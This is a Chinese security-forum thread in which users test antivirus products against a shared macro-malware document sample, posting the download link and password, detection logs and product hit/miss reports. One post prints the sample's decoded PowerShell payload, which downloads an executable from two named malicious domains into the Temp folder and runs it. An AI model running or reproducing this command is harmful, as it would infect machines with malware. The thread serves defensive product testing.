Malware_5 (VT:12/60)

静影沉璧

下载地址：https://www.lanzous.com/i20pw4d
密码：infected
VT（12/60）：https://www.virustotal.com/#/fil ... bcc3fb60b/detection
PS：这似乎是个宏病毒……

BE_HC

貌似是联网才能起作用惹
Emsisoft Anti-Malware Scan&Run MISS
Emsisoft Anti-Malware Web Blocked
（感觉EAM比诺顿的SONAR差距还挺大惹）

1. 2018/10/4 21:10:50
   
2. 网页保护检测 可疑网站 "dustdevilsbaseball.com" (SHA1: 9369694C501D69E78662B2B0C3AEAB632DCF3F23)
   
3. 
   
4. 2018/10/4 21:10:50
   
5. 通知： "dustdevilsbaseball.com 是一个已知的恶意网站并被拦截。" .
   
6. 
   
7. 2018/10/4 21:10:50
   
8. 依据规则：拦截
   
9. 
   

复制代码

1. powershell "function demangling([string] $check){(new-object system.net.webclient).downloadfile($check,'C:\Users\MattGideon\AppData\Local\Temp\qqqqqqqqqqq.exe');start-process 'C:\Users\MattGideon\AppData\Local\Temp\qqqqqqqqqqq.exe';}try{demangling('http://dustdevilsbaseball.com/good.ifelt')}catch{demangling('http://ultimatetvl.com/good.ifelt')}
   

复制代码

Jerry.Lin

1. VirusTotal Smart Scanner 1.07
   
2. 
   
3. ======================================================================================
   
4. Scan Time:                    2018-10-04-21-22-07
   
5. Scan Duration:                3 seconds
   
6. Scan Target:                  C:\Users\zhong\Downloads\Compressed\VIRUS TEST\卡饭\Malware_5
   
7. Number of Scan Files:         1
   
8. Number of Infected Files:     1
   
9. 
   
10. engine_threshold_slider       : 80
    
11. upload_check                  : True
    
12. log_check                     : True
    
13. menu_check                    : False
    
14. scan_pe_check                 : False
    
15. grayware_check                : True
    
16. rescan_check                  : False
    
17. black_check                   : False
    
18. white_check                   : True
    
19. crawler_check                 : True
    
20. ======================================================================================
    
21. 
    
22. Threat(s):
    
23. Malware.Confidence:20%          sha256: 0be40f42a96bbdcc9abb6bcf99246d16ca7c21e0d1b3bf25b5ec2f3bcc3fb60b    Path: C:\Users\zhong\Downloads\Compressed\VIRUS TEST\卡饭\Malware_5\0be40f42a96bbdcc9abb6bcf99246d16ca7c21e0d1b3bf25b5ec2f3bcc3fb60b.doc
    

复制代码

ELOHIM

scep scan miss.

j2016

试图打开文件时发生错误
过wd扫描

www-tekeze

火绒miss，智量kill，双击启用宏时出错。。

静影沉璧

www-tekeze 发表于 2018-10-4 22:27
火绒miss，智量kill，双击启用宏时出错。。

我这里好像有反应

BE_HC

静影沉璧 发表于 2018-10-4 22:32
我这里好像有反应

EAM感觉只有扫描有反应惹

记录微笑

BE_HC 发表于 2018-10-4 21:16
貌似是联网才能起作用惹
Emsisoft Anti-Malware Scan&Run MISS
Emsisoft Anti-Malware Web Blocked

eam的行为监控对于勒索的防护似乎比sonar好一些。

BE_HC

whl2606555 发表于 2018-10-4 22:48
eam的行为监控对于勒索的防护似乎比sonar好一些。

看着EAM有像HIPS的东西惹，SONAR随缘拦截